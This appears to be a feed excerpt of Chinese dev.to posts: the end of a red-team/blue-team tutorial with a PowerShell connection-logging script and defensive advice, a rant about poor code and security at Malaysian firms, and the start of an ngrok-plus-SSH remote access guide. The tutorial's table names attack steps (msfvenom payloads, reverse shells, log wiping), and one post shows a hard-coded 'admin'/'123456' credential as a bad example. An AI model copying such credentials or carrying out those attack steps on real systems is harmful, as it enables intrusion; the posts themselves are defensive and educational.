    &lt;/span&gt;&lt;span class="nv"&gt;$connections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-NetTCPConnection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Established&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RemoteAddress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-ne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RemoteAddress&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-ne&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"::1"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="nv"&gt;$connections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RemoteAddress&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;LocalPort&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-Date&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yyyy-MM-dd HH:mm:ss"&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="nv"&gt;$entryLine&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$logExists&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Pattern&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt;.*&lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Quiet&lt;/span&gt;&lt;span class="w"&gt;

        &lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-Not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$logExists&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nv"&gt;$port_info&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Describe-Port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$entryLine&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$port_info&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Append&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Encoding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;utf8&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[NEW] Connection from &lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt; â†?Local Port &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$port_info&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Start-Sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Seconds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;10&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  &lt;strong&gt;3. Payload检测&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;执行应用白名单和脚本阻断策略。&lt;/li&gt;
&lt;li&gt;监控PowerShell、Python或可执行文件发起的外部连接。&lt;/li&gt;
&lt;li&gt;示例：Sysmon规则检测外部PowerShell连接。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;4. Payload投递防御&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;邮件网关附件沙箱化。&lt;/li&gt;
&lt;li&gt;全面打补丁降低漏洞利用风险。&lt;/li&gt;
&lt;li&gt;用户安全意识培训，防钓鱼与社会工程攻击。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;5. 执行与Shell检测&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;监控异常IP或端口的出站连接。&lt;/li&gt;
&lt;li&gt;关联网络流量与终端日志，识别信标行为。&lt;/li&gt;
&lt;li&gt;EDR可检测非交互式Shell会话。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;6. 后渗透防御&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;检测异常权限提升行为。&lt;/li&gt;
&lt;li&gt;审计文件访问、进程创建与横向移动尝试。&lt;/li&gt;
&lt;li&gt;利用异常检测工具标记异常系统行为。&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  &lt;strong&gt;7. 持久化与清理防御&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;监控启动脚本、cron任务、注册表项的未授权变动。&lt;/li&gt;
&lt;li&gt;启用不可篡改日志和关键配置变更告警。&lt;/li&gt;
&lt;li&gt;事后取证分析还原攻击链条。&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  红队 vs 蓝队阶段对照表
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;红队进攻&lt;/th&gt;
&lt;th&gt;蓝队防御&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;侦察&lt;/td&gt;
&lt;td&gt;网络扫描（&lt;code&gt;nmap&lt;/code&gt;、&lt;code&gt;masscan&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;检测扫描、关闭未用端口、网络分段&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;监听器设置&lt;/td&gt;
&lt;td&gt;Metasploit监听（&lt;code&gt;msfconsole&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;监控异常监听与开放端口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Payload生成&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;msfvenom&lt;/code&gt;生成Payload&lt;/td&gt;
&lt;td&gt;应用白名单、脚本监控&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Payload投递&lt;/td&gt;
&lt;td&gt;钓鱼、漏洞利用&lt;/td&gt;
&lt;td&gt;邮件沙箱化、打补丁、用户培训&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;执行&lt;/td&gt;
&lt;td&gt;Payload运行，建立逆向Shell&lt;/td&gt;
&lt;td&gt;出站监控、异常检测&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;后渗透&lt;/td&gt;
&lt;td&gt;命令执行、权限提升&lt;/td&gt;
&lt;td&gt;监控异常活动、权限滥用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;持久化&lt;/td&gt;
&lt;td&gt;可选后门或计划任务&lt;/td&gt;
&lt;td&gt;监控启动任务、注册表项、服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;清理&lt;/td&gt;
&lt;td&gt;删除日志、掩盖痕迹&lt;/td&gt;
&lt;td&gt;不可篡改日志、取证关联分析&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;请记住，本教程仅用于学习、渗透测试授权实验室和防御研究。不要将这些技术用于非法入侵或破坏他人财产。尊重法律与道德，是每一个安全从业者的底线。&lt;/p&gt;

</description>
      <category>msfconsole</category>
      <category>hacking</category>
    </item>
    <item>
      <title>为什么我讨厌与马来西亚的软件公司合作？</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Thu, 24 Jul 2025 15:49:41 +0000</pubDate>
      <link>https://dev.to/ctkqiang/wei-shi-yao-wo-tao-yan-yu-ma-lai-xi-ya-de-ruan-jian-gong-si-he-zuo--3l6j</link>
      <guid>https://dev.to/ctkqiang/wei-shi-yao-wo-tao-yan-yu-ma-lai-xi-ya-de-ruan-jian-gong-si-he-zuo--3l6j</guid>
      <description>&lt;h2&gt;
  
  
  我是个写代码有洁癖的人
&lt;/h2&gt;

&lt;p&gt;作为一名长期从事软件工程与架构设计的开发者，我主要涉猎：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;后端语言&lt;/strong&gt;：Golang、Java（Spring Boot）、C++、Python&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;前端 / 客户端开发&lt;/strong&gt;：Next.js、Vue、Flutter、Android 原生（Java/Kotlin）、iOS SwiftUI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在过去数年的项目开发中，我习惯于&lt;strong&gt;从系统架构层面出发，先理清数据流、业务边界、模块划分，再开始编码&lt;/strong&gt;。&lt;br&gt;
我始终坚信：&lt;strong&gt;代码不是写出来“能跑”就够了，而是要“经得起阅读、维护、迭代”&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;代码要干净，架构要合理，安全性、稳定性与性能缺一不可。&lt;/p&gt;

&lt;p&gt;但遗憾的是，在我与多家马来西亚本地软件公司合作的过程中，这些最基本的工程理念，经常被无情践踏，甚至被当作“累赘”对待。&lt;/p&gt;


&lt;h2&gt;
  
  
  问题一：对代码质量和系统设计毫无敬畏之心
&lt;/h2&gt;

&lt;p&gt;在马来西亚，很多中小型软件公司普遍存在一种奇怪的开发心态：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“只要客户不投诉，交付能上线，代码再乱也没关系。”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;他们认为编码风格、架构规范、安全防护，都是“锦上添花”的“奢侈品”，而不是“必须品”。&lt;/p&gt;

&lt;p&gt;但从一个架构师的角度出发，我看到的却是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;系统极度耦合、不可维护&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全漏洞触目惊心&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UI/UX 设计极其草率&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码层面充满重复、拼凑、无测试的“代码垃圾”&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  案例实录：我真的遇到过这些离谱到离谱的项目
&lt;/h2&gt;
&lt;h3&gt;
  
  
  公司 A：在 Flutter 中用 &lt;code&gt;for&lt;/code&gt; 循环暴力构建 UI
&lt;/h3&gt;

&lt;p&gt;这家公司在开发 Flutter 项目时，明明是异步数据渲染的场景，居然用 &lt;code&gt;for()&lt;/code&gt; 循环硬刷 widget 列表，而不是 &lt;code&gt;StreamBuilder&lt;/code&gt; 或 &lt;code&gt;FutureBuilder&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;结果造成页面卡顿、状态错乱、异常频发。&lt;br&gt;
更离谱的是，开发者居然说：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“这样比较快写完，而且能跑啊。”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这是快速交付吗？不，这是对框架机制的践踏。&lt;/p&gt;


&lt;h3&gt;
  
  
  公司 B：不用 Git，代码靠“打印”备份
&lt;/h3&gt;

&lt;p&gt;这家公司到现在还在靠“&lt;strong&gt;打印源码纸质档案&lt;/strong&gt;”做版本控制。每个月月底，把项目代码全部打印下来，装进文件夹归档。&lt;/p&gt;

&lt;p&gt;没有 Git，没有 commit log，没有代码 diff、pull request，全靠纸质比对。&lt;/p&gt;

&lt;p&gt;我问：“那多人协作开发怎么办？”&lt;br&gt;
答曰：“我们彼此不动对方代码。”&lt;/p&gt;

&lt;p&gt;🤦‍♀️ 我无语到失语，21 世纪了，软件开发靠打印来备份？这是开发还是玩穿越剧？&lt;/p&gt;


&lt;h3&gt;
  
  
  公司 C：一个 &lt;code&gt;main.dart&lt;/code&gt; 塞 9000 行代码，自称 MVC
&lt;/h3&gt;

&lt;p&gt;这个项目让我窒息：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;所有页面和逻辑集中写在一个文件：&lt;code&gt;main.dart&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;文件长达 9000 多行，包含十几个 class 和若干 &lt;code&gt;void main()&lt;/code&gt; 函数&lt;/li&gt;
&lt;li&gt;所有 UI 控件都用 &lt;code&gt;Container&lt;/code&gt; 伪装 AppBar、FAB、BottomNavBar&lt;/li&gt;
&lt;li&gt;每个组件都嵌套一个新的 &lt;code&gt;MaterialApp&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;开发者说他们有在使用“&lt;strong&gt;MVC 架构&lt;/strong&gt;”，&lt;br&gt;
但所谓的 MVC，就是把所有 Model、View、Controller 全部堆在 &lt;code&gt;main.dart&lt;/code&gt; 里。&lt;/p&gt;

&lt;p&gt;你这不是 MVC，这是&lt;strong&gt;MCU（Marvel Cinematic Universe）宇宙坍缩&lt;/strong&gt;。&lt;/p&gt;


&lt;h3&gt;
  
  
  公司 E：React Native 项目硬编码管理员账号密码
&lt;/h3&gt;

&lt;p&gt;一个 React Native 项目，管理员账号密码直接硬编码在代码里：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;adminUsername&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;admin&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;adminPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;123456&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;然后这家公司还拒绝引入 &lt;code&gt;.env&lt;/code&gt; 或加密方案，理由是：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“麻烦，没时间搞。”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;你上线的是一个拥有后台权限的应用诶，不是你家门口的电灯开关。&lt;/p&gt;

&lt;p&gt;这种行为说难听点就是：&lt;strong&gt;主动裸奔，还怪天气太热。&lt;/strong&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  公司 D：Spring Boot 项目全 GET 接口 + 明文密码
&lt;/h3&gt;

&lt;p&gt;这家 Java 后端项目更是让我大开眼界：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;所有接口都用 GET 请求（包括用户创建、修改、删除）&lt;/li&gt;
&lt;li&gt;没有使用 ORM，全靠拼接 SQL&lt;/li&gt;
&lt;li&gt;没有使用 OOP，全程 procedural&lt;/li&gt;
&lt;li&gt;密码字段以明文存储在 MySQL 中，无加密、无 Hash、无 Salt&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;他们甚至说这“更方便调试和查询”。&lt;/p&gt;

&lt;p&gt;但你知道这代表什么吗？&lt;br&gt;
只要一个 SQL 注入，整个数据库就可以被直接 dump。更别提&lt;strong&gt;GDPR、PDPA、安全合规&lt;/strong&gt;这一类根本不在他们的词典里。&lt;/p&gt;




&lt;h2&gt;
  
  
  借口一大堆，但都是逃避责任的幌子
&lt;/h2&gt;

&lt;p&gt;在我指出问题后，常常收到的回应是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“我们以前写 Delphi 的”&lt;/li&gt;
&lt;li&gt;“我是从 C# 转过来的”&lt;/li&gt;
&lt;li&gt;“语言不同，写法也不同”&lt;/li&gt;
&lt;li&gt;“客户看不到代码，能跑就行”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我只想说：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;我也写过 COBOL 给银行做核心系统，也写过用 Erlang 实现的电信 SIP 调度项目。&lt;br&gt;
但换语言就该换思维，别拿“过往经验”当挡箭牌，写垃圾代码不配叫“兼容思维”。&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  真实案例：马来西亚官方 Flutter 项目发生用户数据泄露
&lt;/h2&gt;

&lt;p&gt;我曾向某马来西亚交通部相关 Flutter 项目的团队报告严重的用户信息泄露漏洞（泄露包括身份证号码、用户实名、注册地址等全套数据），&lt;/p&gt;

&lt;p&gt;我还完整撰写了报告并发布于我个人漏洞档案页：&lt;/p&gt;

&lt;p&gt;🔗 &lt;a href="https://www.ctkqiang.xin/bug-bounty-journal/case/20250324-24f24c.html" rel="noopener noreferrer"&gt;Bug Bounty 案例分析 - 2025年3月24日&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;直到今天，无回应，无修复，无公告。&lt;/p&gt;

&lt;p&gt;这样的官方项目都如此对待数据隐私，让我深感寒心。&lt;/p&gt;




&lt;h2&gt;
  
  
  技术人的底线，不能靠“差不多”撑着
&lt;/h2&gt;

&lt;p&gt;我不是在否定整个马来西亚软件行业，的确也有认真负责的团队，但在我所接触的百余家公司里：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;至少 70% 存在严重的技术不规范与安全意识缺失的问题。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我写这篇文章，不是为了抱怨，而是为了敲响一个警钟：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;写烂代码可以短期交付，但你留不住客户&lt;/li&gt;
&lt;li&gt;系统架构乱七八糟，维护的人每天都在流血&lt;/li&gt;
&lt;li&gt;UI/UX 随意堆砌，用户体验烂掉，产品不会有未来&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;你写代码的方式，就是你做人做事的方式。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;你代码乱，我也会怀疑你的生活方式是不是也一团糟。&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  💬 欢迎讨论
&lt;/h2&gt;

&lt;p&gt;你是否也经历过这些“地狱级”的开发现场？&lt;br&gt;
你是否也为职业底线一次次被迫妥协而感到疲惫？&lt;/p&gt;

&lt;p&gt;欢迎留言，我们一起来聊聊 ——&lt;br&gt;
别让“能上线”成为你对技术的全部理解。&lt;/p&gt;




</description>
      <category>cleancode</category>
      <category>malaysia</category>
    </item>
    <item>
      <title>用 ngrok + SSH 实现公网远程控制电脑</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Thu, 10 Jul 2025 16:14:29 +0000</pubDate>
      <link>https://dev.to/ctkqiang/yong-ngrok-ssh-shi-xian-gong-wang-yuan-cheng-kong-zhi-dian-nao-42an</link>
      <guid>https://dev.to/ctkqiang/yong-ngrok-ssh-shi-xian-gong-wang-yuan-cheng-kong-zhi-dian-nao-42an</guid>
      <description>&lt;h3&gt;
  
  
  项目背景
&lt;/h3&gt;

&lt;p&gt;当网络处于 NAT/不稳定的公网 IP 环境下，简单通过 SSH 连接内网主机是不可能的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;无法缓解 NAT&lt;/li&gt;
&lt;li&gt;远程无法直接 ssh 自己网络内的主机&lt;/li&gt;
&lt;li&gt;公司或家庭网络常常封锁 22 端口&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;ngrok 利用「逆向 TCP 隔离网络通道」，实现了一个有效的「软公网」模型。内网主机主动连接 ngrok，且外网可通过接口 TCP 重应连接，达成一个安全连通。&lt;/p&gt;




&lt;h3&gt;
  
  
  架构设计图
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;手机或远程控制终端]
          |
      ssh &lt;span class="nt"&gt;-p&lt;/span&gt; 12345 user@x.tcp.ngrok.io
          |
&lt;span class="o"&gt;[&lt;/span&gt;ngrok 公网中继服务器]
          |
    Secure Tunnel &lt;span class="o"&gt;(&lt;/span&gt;ngrokd&lt;span class="o"&gt;)&lt;/span&gt;
          |
&lt;span class="o"&gt;[&lt;/span&gt;你的 Mac / Windows SSH 服务]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  1. 配置 SSH 服务器
&lt;/h2&gt;

&lt;h4&gt;
  
  
  macOS
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemsetup &lt;span class="nt"&gt;-setremotelogin&lt;/span&gt; on
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;测试本地 SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh youruser@localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Windows
&lt;/h4&gt;

&lt;p&gt;打开 PowerShell (管理员):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Add-WindowsCapability&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Online&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;OpenSSH.Server~~~~0.0.1.0&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Start-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sshd&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Set-Service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sshd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-StartupType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'Automatic'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;测试本地 SSH:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh youruser@localhost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7k8dtq0afxfju20lgtvt.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7k8dtq0afxfju20lgtvt.jpeg" alt="在这里插入图片描述" width="800" height="1777"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  2. 配置 ngrok TCP 逆向通道
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;注册 ngrok: &lt;a href="https://ngrok.com" rel="noopener noreferrer"&gt;https://ngrok.com&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;下载 CLI: &lt;a href="https://ngrok.com/download" rel="noopener noreferrer"&gt;https://ngrok.com/download&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;配置 Token:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ngrok config add-authtoken &amp;lt;your-token&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;启动 SSH TCP 选项:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
